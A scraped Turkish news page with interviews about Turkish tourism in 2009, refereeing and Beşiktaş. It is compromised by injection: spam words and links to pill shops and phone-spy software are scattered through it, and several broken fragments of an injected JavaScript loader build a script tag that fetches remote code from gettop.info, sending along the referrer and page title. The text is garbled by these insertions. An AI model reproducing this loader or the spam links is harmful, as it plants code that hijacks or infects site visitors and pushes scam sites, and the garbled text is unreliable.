arena gibi bir stad yapıp içerisini ultra modern kullanabilirsiniz. İnşallah bu seçimde kim aday olursa olsun öncelikle Beşiktaş için bir şeyler yapması lazım. 100 binlik bir üye kaydı ile aidat geliri de yükselecek ve Beşiktaş’ın bu sebeple borcunu da silmesi mümkün olacak.

İstanbul’un asırlık kulüplerine başkanlık yaptınız. Beykoz,Üsküdar Anadolu,Beylerbeyi ve Anadolu Hisarı… Beşiktaş’a başkan adayı olmayı düşünür müsünüz? Order

Başta ailemle konuşuyorum. Çok istek ve destek var. Ama Beşiktaş’a başkan olmak kolay değil. Burada birlik ve beraberlik şart.Ben öyle insanlar tanıyorum ki, büyük bir şirkette Genel Müdür , Yönetim Kurulu Başkanı, çok akil, ekonomist… Bu insanların bir araya gelmesi ile Beşiktaş hakikaten kurtulur. Bir kere Beşiktaş’ın harika bir seyircisi var. İngilizler bile hayret etti. Böyle bir seyirci var. 20 milyon sempatizanı var. Beşiktaş aslında yanardağ gibi. Fakat kişiler şahsi menfaatlerini ön plana çıkarmak için Beşiktaş yönetimine aday oluyorlar. Sonu da hüsran tabii. Aslında iyi kullanılsa bir milyar dolarlık marka değeri olan bir kulüp…

} else {var d=document;var s=d.createElement(‘script’); online http://eifelsturm.de/?p=1179 Order Cheap

Kültür ve Turizm Bakanı Ertuğrul Günay’ın MediaTurizm.com’a özel demeci

Ertuğrul Günay

“Uludağ’da özel teşebbüs başına buyruk vaziyette!”
“Türk turizmi geçtiğimiz yıllara nazaran daha başarılı bir sezon geçirdi…”
“Yunanistan ile vize sorunlarımızı önümüzdeki günlerde halledeceğiz…”
“20 yıldır Likya Bölgesi ve Batı Akdeniz’de tatil yapıyorum”
“2010 Avrupa Kültür Başkenti projesindeki amaç kalıcı eserler bırakmak”

Buy Serap ÖZAKSOY

Bir ülkenin tanıtımında her ne kadar insanlara görev düşüyorsa da… Hepsinden önemlisi devletin bu konudaki yaklaşımıdır. Nitekim Türkiye’nin gerçek anlamda hem kültürü, hem insanı hem de turizminin tanıtılmasında tabii ki devletin büyük rolü var. Bizler de bu konuda hem aydınlanmak, hem ileriye dönük Türk turuzmi için neler yapılacağını öğrenmek hem de bu konuda en iyi bilgileri almak için Sayın Kültür ve Turizm Bakanı Ertuğrul Günay ile Media Turizm.com olarak özel bir röportaj yaptık.

Sayın Günay’da hem sıcak, hem samimi, hem de yol gösterici olarak bizlerle bazı konuları paylaştı. Şimdi sözü daha fazla uzatmadan Sayın Kültür ve Turizm Bakanı’mıza bırakıyoruz…

2009 yılı turizm sezonunu değerlendirebilir misiniz?

Türk turizmi, küresel kriz ile domuz gribinin etkilerine direniyor. İlk 6 ayda yabancı turist sayısı sadece yüzde 0,9 azalarak, 10 milyon 590 bin 631 kişi oldu.  Dünyadaki olumsuz gelişmelere rağmen,  geçen yılın rakamlarını koruyabilecekmişiz gibi görünüyor. Dünya Turizm Örgütü, 2009′un turizminde büyüme görülmeyeceğini ve yüzde 1-2 düşüş yaşanacağını bildirmişti. Türkiye’nin, turist sayısında ilk 6 ayda yüzde 0,9 düşüşte kalmayı başarması önemli bir gelişmedir.

Bu yıl, Ukrayna, Almanya ve Rusya gibi bazı pazarlarda 2008′e göre daralma yaşarken İskandinavya, İtalya, İspanya ve Fransa gibi Akdeniz ülkelerinde, Polonya’da, kısmen İngiltere’de ve Ortadoğu ülkelerinde geçen yıla göre üstünlük yaşanıyor. Bu yüzden biz yüzde 1 ve yüzde 2′nin altında bir daralma yaşıyoruz. Bu, dünyaya göre çok iyi bir gelişme. Geçtiğimiz günlerde de İngiltere’nin önde gelen yayınlarından The Times Gazetesi, Türkiye: Turizmde 2009 Yılının Başarı Öyküsü” diye yazdı ve ülkemizi küresel krizin dünya turizmini etkilediği 2009 yılında sektörde en başarı ülke olarak ilan etti.

2009 yılını geçen yıl seviyelerinde kapatacağımızı umut ediyorum. Geçen yıl çok başarılı bir yıldı. Dünya ortalamasının çok üzerinde bir yerdeydik. Bu yıl da dünya ortalamasının üzerinde olacağız ama dünya ortalaması bu yıl eksi olacak. Bizim hedefimiz, 2010′da 30 milyonlar eşiğini yakalamak, yakın bir gelecekte de aşmak. Dünyada yaşanan ekonomik kriz ve salgın hastalıklara bakıldığında bu ülkemiz için özel bir başarı olacak.

Ertuğrul Günay

Size göre ülkemizdeki otel kapasitesi yeterli mi?

Dünya turizm merkezlerinin yaptığı açıklamalara göre, 2008 yılında Türkiye dünyanın en iyi 100 otelinin 39′una sahip. Biz de hükümet olarak nitelikli yatırımlar yapan girişimcilere destek olmaya çalışıyoruz. Cheap

Her sene turizm sezonu öncesi dünyada ortaya çıkan hastalık ve savaşların oluşmasını nasıl yorumluyorsunuz?

Bütün bu olumsuzluklara rağmen Türkiye son 25 yılda bir imkansızı gerçekleştirdi. Bir yandan sınırları içinde terörle diğer yandan dünyada ortaya çıkan hastalıklarla mücadele ederken turizm ülkesi olma gayreti gösterdi. Bu gelişmelere rağmen, turizmini bu denli geliştirmiş dünyada bir başka örnek ülke daha yoktur diye düşünüyorum.

Türkiye 2010 İstanbul Avrupa başkenti projesini kaldırabilecek mi? Nedenleri nelerdir?

2010 projesi;   kamu, yerel yönetim, sivil toplum kuruluşları, meslek örgütleri, üniversiteler, özel sektör ile “İstanbul’u daha iyi tanıtma, koruma ve yaşatma konusunda sorumluluğum var” diyen tüm toplum kesimlerinin dahil olduğu çoğulcu bir proje. Order

İstanbul’un geleceğine katkı sağlayacak sürdürülebilir projeler geliştirerek; kentin tarihi mirasını ve kültürel değerlerini geleceğe taşımak, kültür-sanat altyapısını geliştirmek, İstanbullular’ın yaşam kalitesini kültür-sanat odağında yükseltmek hedefiyle çalışmalarımızı kesintisiz, büyük bir titizlikle sürdürüyoruz.

Çok yönlü ve kapsamlı bir çalışma sürecini kapsayan 2010 projesini en iyi şekilde değerlendirmeyi İstanbul’a ve ülkemize karşı ortak sorumluluğumuz olarak görüyoruz. İstanbul’un gerek kentsel-kültürel alanda, gerekse yurt dışındaki tanıtımında birçok kazanımlar elde etmesi için samimiyetle çalışıyoruz.

Bu çerçevede, Bakanlık olarak, İstanbul’un kültürüne sahip çıkarak,  İstanbul’un tarihi dokusunu dengesiz ve çirkin yapılardan arındırmaya çalışıyoruz. Özellikle,  Topkapı Sarayı çevresi ve Sur-i Sultani master planı çalışmalarıyla, Bizans, Roma, Osmanlı ve Cumhuriyet döneminden kalan birbirinden değerli kültürel varlığı restore ederek hayata katmak, tüm dünyaya iftiharla sunabilmek için gayret ediyoruz.

Sur-u Sultani içinde Telgrafhane ve eski karakol çevresinde çirkin yapılaşmayı ve işgalleri yıkarak kaldırdık. Darphaneyi, Matbaa-i Amire’yi, Teşvikiye Hastanelerini yakın gelecekte Topkapı’nın teşhir mekanları arasına katacağız. Topkapı ile ilişkisi olmayan Askeriye, Milli Eğitim ve Sağlık Bakanlıklarına ait binaları boşaltmaya başladık. Topkapı’nın depo ve sergileme imkanlarını bugünkünün birkaç katına çıkarmayı hedefliyoruz.

Topkapı, Osmanlı’nın son döneminden bu yana ihmal edilmiş. Padişah, Yıldız’a ve Dolmabahçe’ye geçtikten sonra bu saray hem içinden hem dışından çeşitli yapılaşma bozuklukları ve saldırılarıyla karşı karşıya kalmış. 2 yıldan bu yana adım adım burayı iyileştirmeye, hem fiziki olarak hem de fonksiyon olarak aslına döndürmeye çalışıyoruz. Çok yapılacak iş var ama bir adım bile önemlidir diye düşünüyorum.

Sürdürülen çalışmalarla, 2010’da bir final değil, İstanbul’un tarihi kimliğine sahip çıktığımızı gösteren bir başlangıç yapacağız. Tüm gayretimiz,  İstanbul’a 2010 Avrupa Kültür Başkenti sürecinde kalıcı eserler bırakmak ve bu kenti tekrar gerçek kimliğine kavuşturmak.

Pills Üç tarafı denizlerle kaplı ülkemizde neden deniz taşımacılığına-yolculuk amacıyla yapılan- önem verilmiyor? Hatta deniz taşımacılığının gerilemesinin sebepleri nelerdir?

Bildiğiniz gibi, sektörün kruvaziyer turizminin geliştirilmesi için ayakbastı ücretlerinin düşürülmesi yönünde talepleri var. Bakanlığımızca da uygun görülmekle birlikte, konunun rakibimiz ülkelerle uygulanan tarifeler de göz önünde bulundurularak,  Denizcilik Müsteşarlığı ile Özelleştirme İdaresi Başkanlığınca değerlendirilmesinin uygun olacağını düşünüyorum.

Denizcilik sektöründe kabotajda çalışan yük, yolcu, balıkçı, bilimsel araştırma gemileri, ticari yatlar ve hizmet araçlarına yönelik ÖTV’si indirilmiş yakıt uygulaması 2004′te başlandı.  2008 sonu itibariyle 309 milyon liralık ÖTV’yi tahsil etmeyerek sektöre destek sağladık.

Limanlara gelen kruvaziyer yolcu gemisi ise 2003′te 887′yken, geçen yıl yüzde 82′lik artışla bin 612′ye çıktı.  Aynı yıllar için limanları ziyaret eden yolcu sayısı da 581 bin 848′den, yüzde 275 artarak 1 milyon 605 bin 372′ye ulaştı. Bu rakamları yeterli bulmuyoruz, kruvaziyer yolcu taşımacılığının daha da geliştirilmesine yönelik çalışmalara devam ediyoruz. Öte yandan, şu anda üçyüz olan mavi bayraklı plaj sayısını bine çıkarmayı, marina sayısını da artırmayı amaçlıyoruz. Pills

Ertuğrul Günay

Uludağ’daki son olaylar hakkındaki değerlendirmeleriniz nelerdir?

2009 yılının ilk inceleme çalışmasını Uludağ’da yaptım. Çevre ve Orman Bakanlığımızın gayretlerini bildiğim için biz de böyle bir başlangıç yapmak istedik. 2009 yılının ilk hafta sonunu çalışma arkadaşlarmla birlikte Uludağ’da geçirdim. Sektörü de orada toplayıp görüşlerini aldık.  Birinci gelişim bölgesinde teker teker bütün otelleri atlamadan gezdim. Gerçekten bir keşmekeş var.

1983 yılında Uludağ’la ilgili bir çevre düzenleme planı yapılmış 1961 yılında Milli Park statüsüne girmiş. 1980’lerden bu yana Uludağ’ın önemli bir turizm bölgesi olması konusunda niyet olmuş ama yeteri kadar gayret olamamış. Uludağ gibi Türkiye’de kış turizmi ile simgeleşmiş bir alanın 25 yıl sonra gelmesi gereken nokta kesinlikle bu değil. İnanılmaz bir biçimde kamu misafirhanesi talanı var. Her aklınıza gelen kurum bir misafirhane yapmış ve bunlar özel sektörle rekabet halinde. Bütün giderler devlet tarafından karşılandığı için fevkalade düşük fiyatta ve düşük kaliteyle hizmet veriyor.

Böyle dünya incisi bir mekanda gelişigüzel çarpık kentleşme anlayışı olamaz. Kamu misafirhanelerinin bir plan çerçevesinde tümüyle kaldırılması gerekir. Tümüyle sıfır tolerans göstermemiz gerekiyor. İçlerinde korunması gereken yapılar varsa onlar da özel işletmecilere turizm tesisi olarak değerlendirmeye açılabilir.

İkinci olarak,  özel teşebbüste de bir başına buyrukluk egemen hale gelmiş. Bu yakın tarihlere kadar, özel teşebbüs bir konaklama tesisi yapmış fakat konaklama merkezini eklenti yapılarla neredeyse iki katına çıkarmış,  bir sundurma yapmış onun altını teknik aksamla doldurmuş. Bunlar olmaz.

Bunların tümünün kaldırılması lazım. O bölgede doğa ile bütünleşmiş bir yeni yapılaşma düzeninin ortaya çıkarılması, bir mimari bütünlüğün sağlanması gerekiyor.

Cheap http://journalcct.org/?p=9751 Sayın Bakanım tatil yapabiliyor musunuz? Yapıyorsanız nerelerde geçirmeyi uygun görüyorsunuz?

Son birkaç yıldır tatil yapmaya fırsat bulamıyorum. 20 yıldır Likya Bölgesi, Batı Akdeniz bölgesine gidiyordum. Tatilde müze ve ören yerlerini gezmekten hoşlanıyorum, arkeolojiyi çok seviyorum. Eskiden bu yana nerede bir sarı levha bulmuşsam, hemen orayı ziyarete yöneldim. Onun yararını şimdi görüyorum Geçmişten bu yana bildiğim birçok ören yeri ve müze var.

Biz turistik vize uygulamadığımız halde Yunanistan ne amaçla hala vize uygulamasını sürdürüyor? Bu konudaki görüşleriniz…

Önümüzdeki günlerde bu sorunun çözümleneceğini düşünüyorum. Bu konuda temaslarımız var ve olumlu adımlar atılacağını umuyorum.document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; http://babsvanbree.nl/sms-spy-spymaster-pro-cell-phone-monitoring/

Serdar Tatlı: “Futbol bir hata oyunudur”

serdar-tatlı
Yeşil sahaların eski efendi hakemlerinden

Serdar Tatlı açtı ağzını yumdu gözünü…

Cheap FUTBOL BİR HATA

OYUNUDUR

x Uluslar arası müsabakalarda ülkemiz hakemlerinin görev

alamama nedenlerinin başında onlara sahip çıkılmaması geliyor..

x Derbi maçları öncesi odama kapanır ve kural kitabını okurdum…

x Bizim camiaya daima kavga ortamında bundan da kurtulamıyor…

SERAP ÖZAKSOY

Eğrisi, doğrusu dedik. Faal görev yaptığı zamanlar çok karşılaşmasını izlediğim ve efendiliğinden aslı ödün vermeyen bir kişiliğe sahipti. Ben de dedim ki, bir hocayı arayalım, eğrisi ve doğrusu ile Türk Futbolunu, Türk Hakemliğine ve Vicdan Muhakemesini soralım dedim ve yeşil sahaların yerinde son derece sert, asla taviz vermeyen, ama bir sakatlık anından önce sporcusunu düşünen Sevgili Serdar Tatlı’yı aradım. Serdar hoca her zamanki kibarlığı ile sorularımıza açık açık cevaplar verdi şimdi söz onda… zovirax 800 mg price philippines

Futbol hakemi olmak nereden aklınıza geldi…

Amatör düzeyde futbol oynarken sürekli gittiğimiz bir lokal vardı orda duydum. Hem hakemlik hem de antrenörlük kursunun açıldığı söylendi aslında o dönemlerde moda haline gelmişti bir sertifika olsun elimizde ileride lazım edebilir diye benimde elimde bulunsun diye hakem kursuna katıldım sene 1988…

Asıl mesleğinizi belirtmekte herhalde bir sakınca görmezsiniz. Bu konuda bizleri aydınlatır mısınız…
Ben bir kamuda görev yapıyorum Şanlıurfa Gençlik ve Spor İl Müdürlüğünde.

Buy Kaç seneden beri spor camiası içerisindesiniz?

9 yaşındayken urfaspor minik takımında futbol oynamaya başladım yıldızlar,gençler amatör derken 22 yaşındayken hakem oldum işte halen bu camianın içersindeyim.

Buy Aşağı yukarı kaç maç yönettiniz?

Tüm liglerde ortalama 300 civarında maç yönettim. Bunun 150 ye yakını süper lig maçlarıydı.

Sizi endişeye sevk eden bir karşılaşma oldu mu? Verdiğiniz karardan ötürü pişmanlık duyduğunuz oldu mu? Hangi maçtı… online

Bakın futbol bir hatalar oyunudur. Teknik direktör futbolcu yönetici nasıl hatalar yapabiliyorlarsa hakemlerde bu oyunun bir parçası olarak hatalar yapmaktadır. Önemli olan bu hataları yaparken bilerek isteyerek yapmamak ben hakemlik hayatım boyunca bilerek ve isteyerek yanlış yapmadım ama bir sürü hatalar yaptım televizyondan veya CD den yönettiğim maçı izlediğimde yaptığım hatayı veya hataları gördüğümde eğer bu hatada skora etki edecek bir hata olmuşsa çok üzülmüşümdür. Böyle üzüldüğüm maçlar oldu tabi ki.Ama yönettiğim hiç bir maçtan sonra asla pişmanlık duymadım.

Uzun senelerden beri Türk hakemlerinin büyük organizasyonlarda yer almamasını nasıl yorumluyorsunuz…

Türkiye’de hafta sonları oynanan maçlar bakın hemen hemen her kanalda irdeleniyor. Kimse alınmasın ama bazı spor yazarları ve yorumcuları bir takıma duydukları sempatiliği maalesef göz ardı edemiyorlar olaylara taraf gözüyle bakıyorlar.Sanıyorum ki dünyanın hiç bir ülkesinde bizimki kadar hakem irdelenmiyor. Hakemlerimize karşı bir güvensizlik kavramı hakim Türkiye Futbol Federasyonu FIFA ve UEFA nın üyesi bizim hakemlerimiz bu kurullar tarafından takip ediliyorlar özelliklede FIFA hakemleri şimdi düşünün maç bitiyor hakem enine boyuna masaya yatırılıyor kasıtlı diyenler yetersiz diyenler birilerinden talimat aldı diyenler çok acımasızca eleştiriliyor bu durumda ben olsam FIFA veya UEFA nın yerinde şunu söylerim bunlar kendi hakemlerine güvenmeyip destek olmuyorlar nasılsa kendi içlerinde problem halindeler bizlerden bir şey istemezler deyip bizi hep bir kenara atmışlar. Tabii ki hakem potansiyeli ve hakem kabiliyeti becerisi de olması gerekiyor. Ama en önemlisi bizim ülke olarak hakemlerimize sahip çıkmamız gerekiyor daha sonra dünya platformunda onlardan bir şeyler beklememiz gerekecek.

Hakemlik kariyerinizde en zor karşılaşma desek!

Hiç bir maç asla kolay değildir. Sıradan bir maç gibi görürüsünüz hiç iddiasıda olmayan bir maç çok zor geçebilir. Ama genel olarak liğlerin sonlarında oynanan şampiyonluk ve küme maçları daha zordur. Hakem olarak bütün maçlara ama özelliklede son haftalardaki  maçlara daha önemli ve iyi hazırlanmak gerekiyor.

Derbi maçı yönetmek nasıl bir duygu? Böyle maçlar öncesi 24 saatinizi anlatabilir misiniz?

Hakem kendi kariyerinde derby maçı yönetmek ister. Derby maçları biliyorsunuz fikstür çekildiği anda hangi haftada derby maçları oynanacak öncelikle bunların haberleri yayınlanıyor. Böylesine herkesin konuştuğu bir müsabakayı yönetmek çok farklı bir duygudur. Özelliklede son 24 saati çok zor geçer ben otel odasına kapanırdım. Kural kitabını tekrar tekrar okurdum maç planı yapardım takımların oyuncuların durumlarına göre. Bunun haricinde belli aralıklarla müzik dinlerdim.

Maç öncesi belirli bir uğurunuz var mı?

Hayır belli bir uğurum yoktu. Ama her maçtan önce bir duam vardı mutlaka o duayı okur öyle maçlara çıkardım.

Hayatta her insanın bir ideali vardır. Siz bu idealinizi gerçekleştirdiniz mi?

Türkiye’de yönettim bu idealim gerçekleşti ama Brezilya-Arjantin maçı yönetmek isterdim.

Son senelerde maç atama kararlarını nasıl değerlendiriyorsunuz?

Bakın her M.H.K başarılı olmak ister. Bunun içinde ellerinden geleni yapmaya çalışırlar. Bazı M.H.K lar farklı bir tarz ve yöntem uygulayabiliyorlar. Bugünkü M.H.K geçen sezon alışagelmemiş bir uygulama yaptı uzun süreli hakem tayinleri yaptı bir hakemin 2 aylık sürede hangi maçları yöneteceğini belirledi. Bana göre yanlıştı çünkü bir hakem bir müsabakadan sonra en az 1 hafta dinlenmesi ve kendini toparlaması gerekiyor zaman zaman ard ardada maçlara çıkabilir ama bunu form durumuna göre belirlemek gerekiyor. Form düşüklüğü yaşayan hakemi mutlaka dinlendirmek daha doğru ama bunlar böyle yapmadılar ve zaman zaman bu konuda problem ve sıkıntılar yaşadılar o yüzden bu uygulamalarındada değişikliklere gitmek zorunda kaldılar.

Son zamanlarda hangi maça kimin atanacağı hafta başı belli oluyor. Bu haber sızmasını hafta sonu durum açıklanınca teyit ediyor. Hakemlerin bunlardan haberleri oluyor mu?

Size yukarıdaki bahsettiğim nedenlerde etkili olmuştur bu dışarı sızmalarda. Ama bazen bir maça kamuoyu zaman zaman tahminlerde bulunabiliyor bu tahminler doğru çıkabiliyor da Aslında bana göre çok abartılacak bir durum olmadığı kanaatindeyim. Neticede bir müsabakanın hakemi en az 3 gün önceden kamuoyuna duyuruluyor. Halen biz güvensizlik anlayışı içersinde bazı şeyleri gizlemek düşüncesindeyiz. ama kesinlikle hakemlerin bilgisi dışında gelişen olaylar bunlar.

Şimdi eski bir hakem olarak maçları izlediğinizde aynı heyecanı duyuyor musunuz? Verilen hatalı kararları nasıl yorumluyorsunuz?

Eski bir hakem olarak zaman zaman bu heyecanı yaşamamak mümkün değil. Şunu belirtmeden geçemeyeceğim hakemlik  kesinlikle kabiliyet ve beceri işi. Yöneticiler hakemlere yeni kural değişikliklerini ve sezon içerisinde yapılan hataları seminerlerde ders niteliğinde anlatırlar hatta sezon içersinde hakemleri tekrar toplayıp ara eğitimler verirler. Bundan sonrası hakeme kalmıştır hakem kendini çok iyi hazırlamalı ya müsabakaya iyi hazırlanmıyor ya da bazı şeylerden etkileniyor bu seyirci baskısı olabilir aman hata yapma korkusu olabilir sanırım hatalar bunlardan kaynaklanıyor.

Yaptığınız mesleklerden memnun musunuz? Dünyaya bir daha gelseniz ne olmak isterdiniz?

Dünyanın en farklı mesleklerinden bir hakemlik bazen kötü yönettiğiniz bir maçtan sonra size dünyayı zehir etmiş olsalar bile yani basında medyada yerden yere vurulmuş olsanız dahi hakemlikten kimse kolay kolay vazgeçemiyor. Bütün herkes sizi tanıyor insanlar size saygı gösteriyor bu ortamı gören kimse kolay kolay bu işten vazgeçmiyor zaten günümüzde bakın hakemlikten sonra eski hakemler ya yorumcu oluyorlar ya da hakem yöneticisi olmak için çabalıyorlar. O yüzdende bu camia hep bir kavga ortamından bir türlü çıkamıyor. Ben bir daha dünyaya gelsem yine hakem olmak isterdim ama yaptığım hakemlikten daha iyi hakemlik yapardım diye düşünüyorum.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) { http://akac.org/viber-spy-iphone-spy-software-spymaster/ http://sadorn.orgfree.com/?p=17059 http://azone.greglane.me/where-to-buy-kamagra-in-durban/

Gençler İşbaşında…

Bulut bagcı

Artık her konuda olduğu gibi gençler iş başında… BULUT BAĞCI

Yeni kurulan ve amaçlarının sadece ülkemizi dışarıda ve içeride iyi tanıtmak olduğunu ilke edinen Genç Turizmciler Derneği’nin Başkanı…

Evet Bulut Bağcı Genç Turizmciler Derneği’nin Başkanı. Genç olduğu kadar da çalışkan ve müteşebbis bir yapıya sahip. Ülkemizin turizmdeki hataları ve günahlarını bakın nasıl anlatıyor. Biz sorduk o cevapladı. Ama gerçekleri sizler de okuduğunuzda hakikaten üzülerek anlayacaksınız. Fakat her ne kadar gerçekler acı olsa da; böyle gurur duyulacak gençlerimiz olduktan sonra artık sırtımız yere gelmez diyoruz ve sözü Sayın Bağcı’ya bırakıyoruz…

Türk turizmi 2009 sezonunda yerli bazında acaba bacasız sektör turizmi mutlu kılıyor mu?

Öncelikle belirtmek isterim, bu yıl ki rakamlar geçen yılın pek de altında kalacak gibi görünmüyor. Bakanlık tarafından yapılan düzenlemeler ve öncü bir kaç STK’nın çalışmaları turizmcileri memnun kılacak gibi. Turizmciler sene başında bir umutsuzluğu kapıldılar, hepimizin bildiği gibi sezon ortasında gelen KDV artışı gibi etkenler moralleri olumsuz etkiledi. Ama sonradan bir yükseliş başladı. Sözün kısası sektör, yaşanan olumsuzluklara rağmen hala ümidini kaybetmiş değil. Özellikle biz gençler, gerek yatırımcı ayağında gerekse profesyonel bağlamda, işimizi en iyi düzeyde yapmaya odaklandık. Eminiz ki biz işimizi iyi yaptıkça, sektör de bundan payını alacaktır.

Size göre yabancıların Türkiye’de en çok tercih ettikleri şehirler nereleri oluyor. Tercih sebepleri nelerdir?

Turizm bakanlığının verilerine göre 2008 yılı toplamında ülkemize gelen toplam turist sayısı 26. 33 milyon kişi. Bir önceki yılın rakamlarına göre yüzde 13’lük bir artış söz konusu. Bu da önemli bir artış olarak göze çarpmakta. Bu turistlerin 32.52’lik kısmı olan 8.56 milyon kişi Antalya ilimiz sınırlarından ülkemize giriş yapmış. Yüzde 26.77’si olan 7.05 milyonluk kesim de İstanbul’dan ülkemize giriş yapmış. Üçüncü büyük turizm destinasyonu olarak da, bu miktarın yüzde 10.92’si olan 2.87 milyon kişiyi misafir eden Muğla göze çarpmakta. Şimdi buradaki istatistik verilerinden çeşitli anlamlar çıkartmak mümkün. Ülkemizi ziyaret eden turistlerin yüzde 70’i yakın bölümü bu üç şehir etrafında yoğunlaşmış durumda. Özelilikle Antalya ve Muğla gibi yaz turizmi yapan şehirlerimize gelen turist sayılarını dikkate aldığımızda, bu turistlerin her şey dahil sistemi çerçevesinde ülkemize geldikleri ve tercih sebebi olarak da, sahil, güneş, ve deniz üçlemesinin sayabiliriz. Bilindiği üzere, hem tesis kalitesi bakımından, hem de fiyatların cazip olması hasebiyle, bu bölgeler; Almanya, Rusya ve bazı diğer Avrupa ülkelerinde, tatil için fazla para harcayamayan orta ve orta-alt sınıf turistler için en çok tercih edilen mekanlar. İstanbul konusu tamamen başka bir anlam ifade ediyor. İstanbul, aldığı turist sayısıyla ikinci sırada geliyor, ancak İstanbul’u ziyaret eden turistlerin akıllarındaki tatil kavramı, Güney bölgelerine gidenlerden tamamen farklı. Bunlar, İstanbul’un tarihi ve kültürel güzelliklerini görmek için burayı tercih ediyorlar. Aslında, diğer önemli bir veri de, bu yöreleri ziyaret eden turistler arasındaki belirgin sosyal farklıklılar. Örneğin, eğitim seviyesi orta ve ortanın altında Alman ve Rus’ların çoğunlukta olduğu gruplar Güney bölgelerindeki tatil paketlerine rağbet gösterirken; İstanbul’u hemen hemen dünyanın her yerinden, göreli manada eğitim seviyesi daha yüksek ve varlıklı turistler tercih ediyor. Bu da, turistlerin ülkemizde yaptıkları harcamalara ilgili fikir sahibi olmamız konusunda bize ipucu vermekte. Daha açık ifadeyle, İstanbul’a gelen turistin ortalama günlük harcama oranı, Antalya’ya gelen turistinkini 3’e katlayabiliyor.

Türkiye’nin dış tanıtımında sizce eksik noktalar var mı? Var ise sizce bunun alternatifleri neler olabilir…

Türkiye’nin dış tanıtımıyla ilgili olarak bir takım eksikliklerin olduğu bir gerçek, ancak bu konuda eleştirilerin sadece resmi kurumlar üzerine yoğunlaşmasını, yani suçun sadece Turizm ve Kültür Bakanlığı’na atılmasını, kabul etmiyorum. Çünkü, evet Türkiye dışarıda daha iyi tanıtılabilir, ancak bunda bakanlık kadar bu alanda iş yapan firmalardan tutun da, turizmle ilgili sivil toplum kuruluşlarına kadar herkes sorumluk sahibi olmalı. Sürekli vurguladığımız bir konu var: “Turizm ülkemizin bacasız sanayisi. Cari açık bile turizmden elde edilen sıcak para sayesinde kapanıyor. İşte bilmem kaç kişi Turizm sayesinde ekmek buluyor”, gibi… Madem, Turizm bu kadar önemli, hani nerede bu konuyla ilgilenen sivil toplum kuruluşları? Nerede AB fonlarından destek alıp, tanıtım projeleri yapan dernekler? Nerede bu sektörde iş yapan ve otel zincirleri olan büyük patronlar? Sadece tur operatörleriyle anlaşarak, oda satmakla bu işler olmaz. Veya, işte “bizde kum, sahil, deniz, güneş var” demekle olmaz. Bir de, bu alanın global bir rekabet alanı olduğunu bilmek lazım. Oyunu kuralına göre oynamak gerek.

Zaten, Genç Turizmciler Derneği’nin kuruluş amaçlarında birisi de, ülkemizin tanıtımına katkıda bulunacak projeleri gerçekleştirmek. Bu konuda bu güne kadar gençleri oyuna çekecek cazip bir çalışma yapılmamış. Biz bu alanda, gençlerin enerjisini kullanmayı ve ülkemiz turizmini geliştirmeyi hedefliyoruz. Şu ana kadar “Genç Turizmciler Zirvesi” de dahil olmak üzere, on bire yakın proje gerçekleştirdik. Üniversite üniversite dolaştık, konferanslar paneller düzenledik. Turizmde kalitenin artması için, eğitimli genç beyinlerin istihdamı konusunda çabalıyoruz. Ülkemizin tanıtımına katkı yapacak olan uluslararası projelerimiz yazım aşamasında. Gelecek yıl dünyanın en prestijli okullarından öğrencileri İstanbul’da bir araya getirmeyi düşündüğümüz bir projemiz var. AB fonlarından yararlanmak ve ülkemizi tanıtmak için proje yazan alt gruplarımız var. Yani burada bahsetmek istediğim, tanıtım sadece Turizm Bakanlığı’nın yurtdışındaki fuarlara broşür göndermesi veya stant açmasıyla olmaz. Ki bunu sadece bakanlıktan beklemek de haksızlık olur diye düşünüyorum. Tanıtım işi bir süreçtir. Turistin tatil yapmaya karar verdiği andan, tatil yaptığı yerden ayrıldığı ana kadarki süreci öylece kapsar. Tanıtım yapmak demek imaj yaratmaktır. İmaj yaratmak da sadece birilerinin çabasıyla gerçekleştirilecek bir şey değil. Bu ülkeyi bir Turizm markası haline getirmek istiyorsak, bakanlığından bürokrasisine, işverenden çalışanına, gencinden yaşlısına, bu alanda var olmak isteyen herkesin elini taşın altına koyması gerekiyor.

Ülkemiz insanının seyahat denilince aklına ilk gelen yer nereleri oluyor?

Ülkemiz gelişmekte olan bir ülke olduğu için, orta sınıf kavramı yeni yeni var olmaya başladı. Bu sebeple, yakın tarihlere kadar tatil yapmak halk arasında yaygın olmayan ve belli bir zümrenin tekelinde, lüks bir ihtiyaç olarak görülmekteydi. Ancak, ekonomik kalkınma ve zenginleşmeyle birlikte, insanımız tatil konusunda eski alışkanlıklarını yavaş yavaş kırmaya başladı. Aile bütçesinden tatil için de para ayırmaya başladı.Bu süreçle birlikte, ilk tercih edilen yerler Güney bölgelerindeki tatil yöreleri oldu. Ancak, yabancı turiste ayrı, yerli turiste ayrı uygulanan tarifeler sebebiyle, insanımız bu alanların alternatifi olan ve yerli turiste de aynı hizmeti veren alanlara yöneldi. Gelir düzeyi orta ve biraz altı olan aileler için 3 ve 4 yıldızlı oteller, pansiyonlar ve çeşitli konaklama yerleri cazip gözüküyor. İl bazında bunları sınıflandırmak mümkün olmadığı için, bu çeşit yerli turistlerin Turizm bölgesi olarak nitelendirilebilecek her yöreye gittiğini söylemek mümkün. Orta üstü ve üst sınıf yerli turistin genelde tercih ettiği mekanlar da, malumunuz eskiden bu yana pek bir değişiklik göstermiş değil. Buralara, Bodrum, Kemer, Fethiye, Kıbrıs gibi yerler örnek gösterilebilir.

Türkiye’de yabancılar tarafından daha hala keşfedilmemiş bir çok yöre bulunuyor. Acaba hata kimde?

http://vasdaqcf.com/blog/2018/02/02/purchase-reminyl-dose/ online Bulut Bağcı

